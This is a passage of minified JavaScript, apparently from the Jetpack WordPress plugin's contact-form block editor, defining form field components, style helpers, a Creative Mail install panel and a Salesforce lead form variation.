Styles","jetpack"),initialOpen:!1},(0,r.createElement)(o.BaseControl,null,(0,r.createElement)(a.FontSizePicker,{withReset:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0,onChange:e=>h({labelFontSize:e}),value:t.labelFontSize})),(0,r.createElement)(o.BaseControl,null,(0,r.createElement)(a.LineHeightControl,{__unstableInputWidth:"100%",__nextHasNoMarginBottom:!0,value:t.labelLineHeight,onChange:g("labelLineHeight",parseFloat),size:"__unstable-large"})))),(0,r.createElement)(a.InspectorAdvancedControls,null,(0,r.createElement)(l.Z,{setAttributes:h,id:n})))}},98677:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(e){let{setAttributes:t,id:n}=e;return(0,r.createElement)(a.TextControl,{label:__("Unique CSS ID","jetpack"),value:n,onChange:e=>t({id:e}),help:__("A unique ID that can be used in CSS or as an anchor.","jetpack")})}},99843:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(69307),s=n(65736),l=n(65235),c=n.n(l),u=n(92819),d=n(43198),p=n(14062),m=n(81334),h=n(26588),f=n(15642),g=n(63537);const __=s.__;t.Z=(0,o.compose)((0,m.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]))((e=>{let{attributes:t,clientId:n,isSelected:o,name:s,setAttributes:l}=e;const{id:m,label:b,options:v,required:k,requiredText:y,toggleLabel:E,width:w}=t,_=(0,i.useRef)(),C=(0,p.D6)(n),S=c()("jetpack-field jetpack-field-dropdown",{"is-selected":o,"has-placeholder":!(0,u.isEmpty)(E)});(0,p.mo)({attributes:t,clientId:n,name:s});const j=(e,t)=>(0,d.k)(_.current,"[role=textbox]",e,t),x=(e,n)=>{const r=[...t.options],a=""!==n[n.length-1];r[e]&&(r[e]=n.shift(),e++),r.splice(e,0,...n),l({options:r}),j(e+n.length-1,a)},P=e=>t=>{const n=(0,u.split)(t,"\n").filter((e=>e&&""!==(0,u.trim)(e)));n.length&&(n.length>1?x(e,n):((e,t)=>{const n=[...v];n[e]=t,l({options:n}),j(e)})(e,n.pop()))},L=e=>(n,r)=>{if(!r)return;const a=t.options[e].slice(n.length);(0,u.isEmpty)(n)&&(0,u.isEmpty)(a)||x(e,[n,a])},T=e=>()=>{if(1===t.options.length)return;const n=[...t.options];n.splice(e,1),l({options:n}),j(Math.max(e-1,0),!0)};(0,i.useEffect)((()=>{(0,u.isNil)(b)&&l({label:""}),(0,u.isNil)(E)&&l({toggleLabel:__("Select one option","jetpack")})}),[]);const{blockStyle:N}=(0,g.g)(t);return(0,r.createElement)("div",{className:S,style:N},(0,r.createElement)("div",{className:"jetpack-field-dropdown__wrapper"},(0,r.createElement)(f.Z,{required:k,requiredText:y,label:b,attributes:t,setAttributes:l,isSelected:o,style:C}),(0,r.createElement)("div",{className:"jetpack-field-dropdown__toggle"},(0,r.createElement)(a.RichText,{value:E,onChange:e=>{l({toggleLabel:e})},allowedFormats:["core/bold","core/italic"],withoutInteractiveFormatting:!0}),(0,r.createElement)("span",{className:"jetpack-field-dropdown__icon"}))),o&&(0,r.createElement)("div",{className:"jetpack-field-dropdown__popover",ref:_},v.map(((e,t)=>(0,r.createElement)(a.RichText,{key:t,value:e,onChange:P(t),onSplit:L(t),onRemove:T(t),onReplace:u.noop,placeholder:__("Add option…","jetpack"),__unstableDisableFormats:!0})))),(0,r.createElement)(h.Z,{id:m,required:k,attributes:t,setAttributes:l,width:w,placeholder:E,placeholderField:"toggleLabel",type:"dropdown"}))}))},15642:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(52175),s=n(69307),l=n(65736),c=n(65235),u=n.n(c),d=n(92819),p=n(14062),m=n(63537);const __=l.__,h=e=>{let{attributes:t,className:n,label:r,labelFieldName:a,placeholder:s,resetFocus:l,required:c,requiredText:d,setAttributes:p}=e;const{labelStyle:h}=(0,m.g)(t);return(0,o.createElement)("div",{className:u()(n,"jetpack-field-label"),style:h},(0,o.createElement)(i.RichText,{tagName:"label",value:r,className:"jetpack-field-label__input",onChange:e=>{l&&l(),p(a?{[a]:e}:{label:e})},placeholder:null!=s?s:__("Add label…","jetpack"),withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic"]}),c&&(0,o.createElement)(i.RichText,{tagName:"span",value:d,className:"required",onChange:e=>{p({requiredText:e})},withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic"]}))};t.Z=e=>{const{setAttributes:t,requiredText:n,style:r}=e,i=u()({"notched-label__label":r===p.JH.OUTLINED,"animated-label__label":r===p.JH.ANIMATED,"below-label__label":r===p.JH.BELOW});return(0,s.useEffect)((()=>{(0,d.isNil)(n)&&t({requiredText:__("(required)","jetpack")})}),[]),r===p.JH.OUTLINED?(0,o.createElement)("div",{className:"notched-label"},(0,o.createElement)("div",{className:"notched-label__leading"}),(0,o.createElement)("div",{className:"notched-label__notch"},(0,o.createElement)(h,a()({className:i},e))),(0,o.createElement)("div",{className:"notched-label__trailing"})):(0,o.createElement)(h,a()({className:i},e))}},26838:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(9818),s=n(65235),l=n.n(s),c=n(14062),u=n(81334),d=n(26588),p=n(15642),m=n(63537);const h=["jetpack/field-option"];t.Z=(0,o.compose)((0,u.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]),o.withInstanceId)((function(e){const{clientId:t,id:n,type:o,instanceId:s,required:u,requiredText:f,label:g,setAttributes:b,isSelected:v,width:k,options:y,attributes:E}=e,w=(0,c.D6)(t),_=(0,i.useSelect)((e=>e("core/block-editor").getBlock(t).innerBlocks),[t]),C=l()("jetpack-field jetpack-field-multiple",{"is-selected":v,"has-placeholder":y&&y.length||_.length}),{blockStyle:S}=(0,m.g)(E);return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{id:`jetpack-field-multiple-${s}`,className:C,style:S},(0,r.createElement)(p.Z,{required:u,requiredText:f,label:g,setAttributes:b,isSelected:v,attributes:E,style:w}),(0,r.createElement)("div",{className:"jetpack-field-multiple__list"},(0,r.createElement)(a.InnerBlocks,{allowedBlocks:h,template:[[`jetpack/field-option-${o}`,{}]],templateInsertUpdatesSelection:!1}))),(0,r.createElement)(d.Z,{id:n,required:u,attributes:E,setAttributes:b,type:o,width:k,hidePlaceholder:!0}))}))},6750:function(e,t,n){"use strict";n.d(t,{G:function(){return d}});var r=n(51806),a=n(52175),o=n(4981),i=n(9818),s=n(65736),l=n(92819),c=n(82425),u=n(63537);const __=s.__,d=e=>{const{attributes:t,clientId:n,name:s,onReplace:d,setAttributes:p}=e,{removeBlock:m}=(0,i.useDispatch)("core/block-editor"),h=(0,c.j)(n),{optionStyle:f}=(0,u.g)(h),g=(0,i.useSelect)((e=>{const t=e("core/block-editor"),r=(0,l.first)(t.getBlockParents(n,!0));return t.getBlock(r).innerBlocks.length}),[n]),b=s.replace("jetpack/field-option-","");return(0,r.createElement)("div",{className:"jetpack-field-option"},(0,r.createElement)("input",{type:b,className:"jetpack-option__type",tabIndex:"-1"}),(0,r.createElement)(a.RichText,{allowedFormats:[],onChange:e=>{p({label:e})},onRemove:()=>{g<=1||m(n)},onSplit:e=>(0,o.createBlock)(s,{...t,clientId:e&&0===t.label.indexOf(e)?t.clientId:void 0,label:e}),onReplace:d,placeholder:__("Add option…","jetpack"),preserveWhiteSpace:!1,withoutInteractiveFormatting:!0,value:t.label,style:f}))}},92158:function(e,t,n){"use strict";var r=n(51806),a=n(94333),o=n(69307),i=n(65235),s=n.n(i),l=n(92819),c=n(14062),u=n(81334),d=n(26588),p=n(15642),m=n(63537);t.Z=(0,a.compose)((0,u.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]))((e=>{const{attributes:t,clientId:n,id:a,isSelected:i,required:u,requiredText:h,label:f,setAttributes:g,placeholder:b,width:v}=e,k=(0,c.D6)(n),{blockStyle:y,fieldStyle:E}=(0,m.g)(t),w=s()("jetpack-field jetpack-field-textarea",{"is-selected":i,"has-placeholder":!(0,l.isEmpty)(b)});return(0,o.useEffect)((()=>{(0,l.isNil)(f)&&g({label:""})}),[]),(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{className:w,style:y},(0,r.createElement)(p.Z,{clientId:n,required:u,requiredText:h,label:f,setAttributes:g,attributes:t,style:k}),(0,r.createElement)("textarea",{className:"jetpack-field__textarea",value:b,onChange:e=>g({placeholder:e.target.value}),style:E})),(0,r.createElement)(d.Z,{id:a,required:u,setAttributes:g,width:v,placeholder:b,attributes:t}))}))},50686:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(e){let{setAttributes:t,width:n}=e;return(0,r.createElement)(a.BaseControl,{label:__("Field Width","jetpack"),help:__("Adjust the width of the field to include multiple fields on a single line.","jetpack"),className:"jetpack-field-label__width"},(0,r.createElement)(a.ButtonGroup,{"aria-label":__("Field Width","jetpack")},[25,50,75,100].map((e=>(0,r.createElement)(a.Button,{key:e,isSmall:!0,variant:e===n?"primary":void 0,onClick:()=>t({width:e})},e,"%")))))}},47081:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(94333),s=n(92694),l=n(65235),c=n.n(l),u=n(92819),d=n(14062),p=n(81334),m=n(26588),h=n(15642),f=n(63537);t.Z=(0,i.compose)((0,p.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]))((e=>{const{attributes:t,clientId:n,id:r,isSelected:a,required:i,requiredText:s,label:l,setAttributes:p,placeholder:g,width:b}=e,{blockStyle:v,fieldStyle:k}=(0,f.g)(t),y=(0,d.D6)(n),E=c()("jetpack-field",{"is-selected":a,"has-placeholder":!(0,u.isEmpty)(g)});return(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:E,style:v},(0,o.createElement)(h.Z,{attributes:t,label:l,required:i,requiredText:s,setAttributes:p,style:y}),(0,o.createElement)("input",{className:"jetpack-field__input",onChange:e=>p({placeholder:e.target.value}),style:k,type:"text",value:g})),(0,o.createElement)(m.Z,{id:r,required:i,width:b,setAttributes:p,placeholder:g,attributes:t}))}));const g=(0,i.createHigherOrderComponent)((e=>t=>{if(t.name.indexOf("jetpack/field")>-1){const n=t.attributes.width?"jetpack-field__width-"+t.attributes.width:"";return(0,o.createElement)(e,a()({},t,{className:n}))}return(0,o.createElement)(e,t)}),"withCustomClassName");(0,s.addFilter)("editor.BlockListBlock","jetpack/contact-form",g)},8e3:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(55609),i=n(65736),s=n(92819),l=(n(99196),n(56467));const __=i.__,c=`${(0,s.get)((0,a.Pb)(),"adminUrl",!1)}edit.php?post_type=feedback`;t.Z=e=>{let{formTitle:t="",isChildBlock:n=!1,setAttributes:a}=e;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(l.Z,null,__("Manage and export your form responses in WPAdmin:","jetpack")),(0,r.createElement)(o.Button,{variant:"secondary",href:c,target:"_blank"},__("View Form Responses","jetpack"),(0,r.createElement)("span",{className:"screen-reader-text"},__("(opens in a new tab)","jetpack"))),!1)}},8971:function(e,t,n){"use strict";var r=n(51806),a=n(4981),o=n(55609),i=n(9818),s=n(69307),l=n(65736);const __=l.__,c=()=>{const{insertConsentBlock:e}=(()=>{const e=(0,i.useSelect)((e=>e("core/block-editor").getSelectedBlock()),[]),{insertBlock:t}=(0,i.useDispatch)("core/block-editor");return{insertConsentBlock:(0,s.useCallback)((async()=>{var n;let r=(null!==(n=e.innerBlocks)&&void 0!==n?n:[]).findIndex((e=>{let{name:t}=e;return"jetpack/button"===t}));var o;-1===r&&(r=(null!==(o=e.innerBlocks)&&void 0!==o?o:[]).length);const i=await(0,a.createBlock)("jetpack/field-consent");await t(i,r,e.clientId,!1)}),[t,e.clientId,e.innerBlocks])}})();return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("p",null,__("You’re already collecting email contacts. Why not make sure you have permission to email them too?","jetpack")),(0,r.createElement)(o.Button,{variant:"secondary",onClick:e,style:{marginBottom:"1em"}},__("Add email permission request","jetpack")),(0,r.createElement)("br",null))};t.Z=()=>{const e=(0,i.useSelect)((e=>e("core/block-editor").getSelectedBlock()),[]);return(0,s.useMemo)((()=>(e=>{const t=e.some((e=>{let{name:t}=e;return"jetpack/field-email"===t})),n=e.some((e=>{let{name:t}=e;return"jetpack/field-consent"===t}));return!!t&&!n})(e.innerBlocks)),[e.innerBlocks])?(0,r.createElement)(c,null):null}},29643:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(92819),s=n(45092),l=n(46229),c=n(53125);const u="creative-mail-by-constant-contact/creative-mail-plugin.php",d=e=>{let{pluginState:t,setPluginState:n}=e;const[a,i]=(0,o.useState)(),[s,u]=(0,o.useState)(!1),d=((e,t,n)=>(0,o.useCallback)(((r,a)=>{e(void 0),t(!0),r(a).then((()=>{n(c.Q.ACTIVE)})).catch((t=>{e(t)})).finally((()=>t(!1)))}),[t,e,n]))(i,u,n);return a?(0,r.createElement)(l.Z,{error:a}):(0,r.createElement)(c.Z,{pluginState:t,onCreativeMailPluginClick:d,isInstalling:s})},p=e=>{let{isFetchingPlugins:t,hasError:n,pluginState:o,setPluginState:i}=e;return t?(0,r.createElement)(a.Spinner,null):n?null:(0,r.createElement)(d,{pluginState:o,setPluginState:i})};t.Z=()=>{const[e,t]=(0,o.useState)(!0),[n,a]=(0,o.useState)(!1),[l,d]=(0,o.useState)(c.Q.NOT_INSTALLED);return(0,o.useEffect)((()=>{(0,s.uM)().then((e=>{a(!1),(0,i.get)(e,u)&&((0,i.get)(e,[u,"active"])?d(c.Q.ACTIVE):d(c.Q.INSTALLED))})).catch((()=>a(!0))).finally((()=>t(!1)))}),[d,t,a]),(0,r.createElement)(p,{isFetchingPlugins:e,hasError:n,pluginState:l,setPluginState:d})}},46229:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736);const __=i.__;t.Z=e=>{let{error:t}=e;return(0,r.createElement)(a.Notice,{isDismissible:!1,status:"error"},(0,o.createInterpolateElement)(__("The plugin failed to install. <b /> Please check the <a>plugin information</a> for detailed requirements.","jetpack"),{a:(0,r.createElement)(a.ExternalLink,{href:"https://wordpress.org/plugins/creative-mail-by-constant-contact"}),b:(0,r.createElement)("span",null,t)}))}},53125:function(e,t,n){"use strict";n.d(t,{Q:function(){return c}});var r=n(51806),a=n(13419),o=n(55609),i=n(65736),s=n(92819),l=n(45092);const __=i.__,c=Object.freeze({ACTIVE:1,INSTALLED:2,NOT_INSTALLED:3}),u=e=>{let{isActivating:t}=e;const n=t?__("Activating…","jetpack"):__("Installing…","jetpack",0);return(0,r.createElement)(o.Button,{variant:"secondary",icon:(0,r.createElement)(o.Icon,{style:{animation:"rotation 2s infinite linear"},icon:"update"}),disabled:!0,"aria-label":n},n)},d=e=>{let{installAndActivateCreativeMailPlugin:t,isInstalling:n}=e;return(0,r.createElement)("p",{className:"jetpack-contact-form__integration-panel"},(0,r.createElement)("em",{style:{color:"rgba(38, 46, 57, 0.7)"}},__("To start sending email campaigns, install the Creative Mail plugin for WordPress.","jetpack"),(0,r.createElement)("br",null),n&&(0,r.createElement)(u,null),!n&&(0,r.createElement)(o.Button,{variant:"secondary",onClick:t},__("Install Creative Mail plugin","jetpack"))))},p=e=>{let{activateCreativeMailPlugin:t,isInstalling:n}=e;return(0,r.createElement)("p",{className:"jetpack-contact-form__integration-panel"},(0,r.createElement)("em",null,__("To start sending email campaigns, activate the Creative Mail plugin for WordPress.","jetpack")),(0,r.createElement)("br",null),n&&(0,r.createElement)(u,{isActivating:!0}),!n&&(0,r.createElement)(o.Button,{variant:"secondary",onClick:t},__("Activate Creative Mail Plugin","jetpack")))},m=()=>(0,r.createElement)("p",null,(0,r.createElement)("em",null,__("You’re all setup for email marketing with Creative Mail.","jetpack"),(0,r.createElement)("br",null),(0,r.createElement)(o.ExternalLink,{href:`${(0,s.get)((0,a.Pb)(),"adminUrl",!1)}admin.php?page=creativemail`},__("Open Creative Mail settings","jetpack"))));t.Z=e=>{let{pluginState:t,onCreativeMailPluginClick:n,isInstalling:a}=e;return(0,r.createElement)("div",{"aria-live":"polite"},c.ACTIVE===t&&(0,r.createElement)(m,null),c.INSTALLED===t&&(0,r.createElement)(p,{activateCreativeMailPlugin:()=>n(l.bu,"creative-mail-by-constant-contact/creative-mail-plugin"),isInstalling:a}),c.NOT_INSTALLED===t&&(0,r.createElement)(d,{installAndActivateCreativeMailPlugin:()=>n(l.yX,"creative-mail-by-constant-contact"),isInstalling:a}))}},74901:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(8971),i=n(29643);t.Z=()=>(0,r.createElement)(a.BaseControl,null,(0,r.createElement)(o.Z,null),(0,r.createElement)(i.Z,null))},80099:function(e,t,n){"use strict";n.d(t,{W:function(){return u}});var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(70355),l=n(59809),c=n(36598);const __=i.__,u={name:"salesforce-web-to-lead-form",title:__("Salesforce Lead Form","jetpack"),description:__("Add a Salesforce Lead form to your site","jetpack"),icon:(0,c.Z)((0,r.createElement)(a.Path,{d:"M10.6778 7.72509C11.1949 7.1895 11.9152 6.8509 12.7094 6.8509C13.7682 6.8509 14.6855 7.4419 15.178 8.31608C15.6028 8.12524 16.0768 8.02059 16.5755 8.02059C18.4839 8.02059 20.0229 9.57811 20.0229 11.4988C20.0229 13.4196 18.4777 14.9771 16.5755 14.9771C16.3415 14.9771 16.1138 14.9525 15.8983 14.9094C15.4674 15.6789 14.6424 16.2022 13.6944 16.2022C13.3004 16.2022 12.9248 16.1099 12.5924 15.9498C12.1553 16.9779 11.1334 17.7043 9.94523 17.7043C8.70783 17.7043 7.64896 16.9225 7.24265 15.8205C7.06412 15.8574 6.87943 15.8759 6.69475 15.8759C5.21725 15.8759 4.02295 14.6693 4.02295 13.1733C4.02295 12.176 4.55854 11.3018 5.35885 10.834C5.19263 10.4584 5.10029 10.0398 5.10029 9.59658C5.09413 7.8913 6.49159 6.5 8.20302 6.5C9.21264 6.5 10.1114 6.98018 10.6778 7.72509Z",fill:(0,s.m)()}),24,24,"0 0 24 24"),innerBlocks:[["jetpack/field-email",{required:!0,label:__("Business Email","jetpack"),id:"email"}],["jetpack/field-name",{required:!0,label:__("First Name","jetpack"),id:"first_name"}],["jetpack/field-name",{required:!0,label:__("Last Name","jetpack"),id:"last_name"}],["jetpack/field-text",{required:!0,label:__("Job Title","jetpack"),id:"title"}],["jetpack/field-text",{required:!0,label:__("Company","jetpack"),id:"company"}],["jetpack/field-telephone",{required:!0,label:__("Phone Number","jetpack"),id:"phone"}],["jetpack/button",{text:__("Submit","jetpack"),element:"button",lock:{remove:!0}}]],attributes:{subject:__("New lead received from your website","jetpack"),salesforceData:{organizationId:"",sendToSalesforce:!0},style:{spacing:{padding:{top:"16px",right:"16px",bottom:"16px",left:"16px"}}}}};t.Z=e=>{let{salesforceData:t,setAttributes:n,instanceId:i}=e;const[s,c]=(0,o.useState)(!1);return(0,r.createElement)(o.Fragment,null,(0,r.createElement)(a.PanelBody,{title:__("Salesforce","jetpack"),initialOpen:!0},(0,r.createElement)(a.BaseControl,null,(0,r.createElement)(a.TextControl,{label:__("Organization ID","jetpack"),value:t.organizationId||"",placeholder:__("Enter your Organization ID","jetpack"),onBlur:e=>{c(!e.target.value.trim().match(/^[a-zA-Z0-9]{15,18}$/))},onChange:e=>{var r;c(!1),r={organizationId:e.trim()},n({salesforceData:{...t,...r}})},help:__("Enter the Salesforce organization ID to send Leads to.","jetpack")}),s&&(0,r.createElement)(l.Z,{isError:!0,id:`contact-form-${i}-email-error`},__("Invalid Organization ID. Should be a 15 - 18 characters long alphanumeric string.","jetpack")),(0,r.createElement)(a.ExternalLink,{href:"https://help.salesforce.com/s/articleView?id=000325251&type=1"},__("Where to find your Salesforce Organization ID","jetpack")),(0,r.createElement)("p",{style:{"margin-top":"32px",display:"flex","font-size":"12px",gap:"8px"}},(0,r.createElement)("div",null,(0,r.createElement)("span",{style:{padding:"3px 6px","border-radius":"4px",background:"#2FB41F",color:"white",display:"block","font-weight":600,"font-size":"11px"}},"BETA")),(0,r.createElement)("div",null,__("This premium feature is currently free to use as it is in beta.","jetpack"))))))}},63537:function(e,t,n){"use strict";n.d(t,{g:function(){return a}});var r=n(92819);const a=e=>{const t={"--jetpack--contact-form--border-color":e.borderColor,"--jetpack--contact-form--border-radius":(0,r.isNumber)(e.borderRadius)?`${e.borderRadius}px`:null,"--jetpack--contact-form--border-size":(0,r.isNumber)(e.borderWidth)?`${e.borderWidth}px`:null,"--jetpack--contact-form--input-background":e.fieldBackgroundColor,"--jetpack--contact-form--font-size":e.fieldFontSize,"--jetpack--contact-form--line-height":e.lineHeight,"--jetpack--contact-form--text-color":e.inputColor},n={color:e.labelColor,fontSize:e.labelFontSize,lineHeight:e.labelLineHeight},a={backgroundColor:e.fieldBackgroundColor,borderColor:e.borderColor,borderRadius:(0,r.isNumber)(e.borderRadius)?e.borderRadius:null,borderWidth:(0,r.isNumber)(e.borderWidth)?e.borderWidth:null,color:e.inputColor,fontSize:e.fieldFontSize,lineHeight:e.lineHeight};return{blockStyle:t,fieldStyle:a,labelStyle:n,optionStyle:{color:a.color,fontSize:a.fontSize,lineHeight:a.lineHeight}}}},4901:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(4981),i=n(65736),s=n(92819),l=n(99837);const __=i.__,c=["submit_button_text","has_form_settings_set","submitButtonText","backgroundButtonColor","textButtonColor","customBackgroundButtonColor","customTextButtonColor","submitButtonClasses","hasFormSettingsSet"],u={attributes:{...l.Z},supports:{html:!1},save:()=>(0,r.createElement)(a.InnerBlocks.Content,null)},d={attributes:{submit_button_text:{type:"string",default:__("Submit","jetpack")},has_form_settings_set:{type:"string",default:null},submitButtonText:{type:"string",default:__("Submit","jetpack")},backgroundButtonColor:{type:"string"},textButtonColor:{type:"string"},customBackgroundButtonColor:{type:"string"},customTextButtonColor:{type:"string"},submitButtonClasses:{type:"string"},...l.Z},migrate:(e,t)=>{const n=(0,s.omit)(e,c),r={text:e.submitButtonText||e.submit_button_text||__("Submit","jetpack"),backgroundColor:e.backgroundButtonColor,textColor:e.textButtonColor,customBackgroundColor:e.customBackgroundButtonColor,customTextColor:e.customTextButtonColor};return[n,t.concat((0,o.createBlock)("jetpack/button",{element:"button",...r}))]},isEligible:e=>!(!e.has_form_settings_set&&!e.hasFormSettingsSet),save:()=>(0,r.createElement)(a.InnerBlocks.Content,null)};t.Z=[u,d]},8565:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(4981),s=n(55609),l=n(94333),c=n(9818),u=n(69307),d=n(65736),p=n(65235),m=n.n(p),h=n(92819),f=n(56467),g=n(21966),b=n(38101),v=n(51084),k=n(8e3),y=n(74901),E=n(80099),w=n(62700),_=n(14142);const __=d.__,C=(0,h.filter)(g.N,(e=>{let{settings:t}=e;return!t.parent||"jetpack/contact-form"===t.parent||(0,h.isArray)(t.parent)&&t.parent.includes("jetpack/contact-form")})),S=[...(0,h.map)(C,(e=>`jetpack/${e.name}`)),"core/audio","core/columns","core/group","core/heading","core/image","core/list","core/paragraph","core/row","core/separator","core/spacer","core/stack","core/subhead","core/video"],j=`${(0,h.get)((0,a.Pb)(),"adminUrl",!1)}edit.php?post_type=feedback`,x=(0,u.forwardRef)(((e,t)=>{let{attributes:n,setAttributes:l,siteTitle:c,postTitle:d,postAuthorEmail:p,hasInnerBlocks:g,replaceInnerBlocks:w,selectBlock:C,clientId:x,instanceId:P,className:L,blockType:T,variations:N,defaultVariation:A,canUserInstallPlugins:R,style:I}=e;const{to:M,subject:B,customThankyou:Z,customThankyouHeading:F,customThankyouMessage:D,customThankyouRedirect:O,jetpackCRM:z,formTitle:U,salesforceData:$}=n,[H,V]=(0,u.useState)(!1),G=m()(L,"jetpack-contact-form",{"is-placeholder":!g&&i.registerBlockVariation}),q=!!window?.Jetpack_Editor_Initial_State?.available_blocks["contact-form/salesforce-lead-form"];q&&(N=[...N,E.W]);const W=e=>(0,h.map)(e,(e=>{let[t,n,r=[]]=e;return(0,i.createBlock)(t,n,W(r))})),X=e=>{e.attributes&&l(e.attributes),e.innerBlocks&&w(x,W(e.innerBlocks)),C(x)};(0,u.useEffect)((()=>{g||i.registerBlockVariation||X(_.Z[0])})),(0,u.useEffect)((()=>{if(void 0===M&&p&&l({to:p}),void 0===B&&void 0!==c&&void 0!==d){l({subject:"["+c+"] "+d})}}),[M,p,B,c,d,l]);return!g&&i.registerBlockVariation?(0,r.createElement)("div",{className:G},(0,r.createElement)(o.__experimentalBlockVariationPicker,{icon:(0,h.get)(T,["icon","src"]),label:(0,h.get)(T,["title"]),instructions:__("Start building a form by selecting one of these form templates, or search in the patterns library for more forms:","jetpack"),variations:(0,h.filter)(N,(e=>!e.hiddenFromPicker)),onSelect:function(){X(arguments.length>0&&void 0!==arguments[0]?arguments[0]:A)}}),(0,r.createElement)("div",{className:"form-placeholder__footer"},(0,r.createElement)(s.Button,{variant:"secondary",onClick:()=>V(!0)},__("Explore Form Patterns","jetpack")),(0,r.createElement)("div",{className:"form-placeholder__footer-links"},(0,r.createElement)(s.Button,{variant:"link",className:"form-placeholder__external-link",href:"https://jetpack.com/support/jetpack-blocks/contact-form/",target:"_blank"},__("Learn more about customizing forms","jetpack")),(0,r.createElement)(s.Button,{variant:"link",className:"form-placeholder__external-link",href:j,target:"_blank"},__("View and export your form responses here","jetpack")))),H&&(0,r.createElement)(s.Modal,{className:"form-placeholder__patterns-modal",title:__("Choose a pattern","jetpack"),closeLabel:__("Cancel","jetpack"),onRequestClose:()=>V(!1)},(0,r.createElement)(o.__experimentalBlockPatternSetup,{filterPatternsFn:e=>-1!==e.content.indexOf("jetpack/contact-form"),clientId:x}))):(0,r.createElement)(u.Fragment,null,(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(s.PanelBody,{title:__("Manage Responses","jetpack")},(0,r.createElement)(k.Z,{formTitle:U,setAttributes:l})),(0,r.createElement)(s.PanelBody,{title:__("Submission Settings","jetpack"),initialOpen:!1},(0,r.createElement)(u.Fragment,null,(0,r.createElement)(f.Z,null,__("Customize the view after form submission:","jetpack")),(0,r.createElement)(s.SelectControl,{label:__("On Submission","jetpack"),value:Z,options:[{label:__("Show a summary of submitted fields","jetpack"),value:""},{label:__("Show a custom text message","jetpack"),value:"message"},{label:__("Redirect to another webpage","jetpack"),value:"redirect"}],onChange:e=>l({customThankyou:e})}),"redirect"!==Z&&(0,r.createElement)(s.TextControl,{label:__("Message Heading","jetpack"),value:F,placeholder:__("Your message has been sent","jetpack"),onChange:e=>l({customThankyouHeading:e})}),"message"===Z&&(0,r.createElement)(s.TextareaControl,{label:__("Message Text","jetpack"),value:D,placeholder:__("Thank you for your submission!","jetpack"),onChange:e=>l({customThankyouMessage:e})}),"redirect"===Z&&(0,r.createElement)(s.BaseControl,{label:__("Redirect Address","jetpack"),id:`contact-form-${P}-thankyou-url`},(0,r.createElement)(o.URLInput,{id:`contact-form-${P}-thankyou-url`,value:O,className:"jetpack-contact-form__thankyou-redirect-url",onChange:e=>l({customThankyouRedirect:e})})))),(0,r.createElement)(s.PanelBody,{title:__("Email Connection","jetpack")},(0,r.createElement)(v.Z,{emailAddress:M,emailSubject:B,instanceId:P,postAuthorEmail:p,setAttributes:l})),q&&$?.sendToSalesforce&&(0,r.createElement)(E.Z,{salesforceData:$,setAttributes:l,instanceId:P}),!(0,a.Wp)()&&(0,r.createElement)(u.Fragment,null,R&&(0,r.createElement)(s.PanelBody,{title:__("CRM Connection","jetpack"),initialOpen:!1},(0,r.createElement)(b.Z,{jetpackCRM:z,setAttributes:l})),(0,r.createElement)(s.PanelBody,{title:__("Newsletter Connection","jetpack"),initialOpen:!1},(0,r.createElement)(y.Z,null)))),(0,r.createElement)("div",{className:G,style:I,ref:t},(0,r.createElement)(o.InnerBlocks,{allowedBlocks:S,templateInsertUpdatesSelection:!1})))}));t.Z=(0,l.compose)([(0,c.withSelect)(((e,t)=>{const{getBlockType:n,getBlockVariations:r,getDefaultBlockVariation:a}=e("core/blocks"),{getBlocks:o}=e("core/block-editor"),{getEditedPostAttribute:i}=e("core/editor"),{getSite:s,getUser:l,canUser:c}=e("core"),u=o(t.clientId),d=i("author"),p=d&&l(d)&&l(d).email,m=i("title"),f=c("create","plugins"),g=u.find((e=>"jetpack/button"===e.name));if(g&&!g.attributes.lock){const e={move:!1,remove:!0};g.attributes.lock=e}return{blockType:n&&n(t.name),canUserInstallPlugins:f,defaultVariation:a&&a(t.name,"block"),variations:r&&r(t.name,"block"),innerBlocks:u,hasInnerBlocks:u.length>0,siteTitle:(0,h.get)(s&&s(),["title"]),postTitle:m,postAuthorEmail:p}})),(0,c.withDispatch)((e=>{const{replaceInnerBlocks:t,selectBlock:n}=e("core/block-editor");return{replaceInnerBlocks:t,selectBlock:n}})),l.withInstanceId])((0,w.r)(x))},26903:function(e,t,n){"use strict";var r,a=n(13419),o=n(31985),i=n(21966),s=n(6528);null!==(r=(0,a.Pb)()?.jetpack?.is_form_package_enabled)&&void 0!==r&&r||(0,o.Z)(s.u,s.X,i.N)},6528:function(e,t,n){"use strict";n.d(t,{X:function(){return g},u:function(){return h}});var 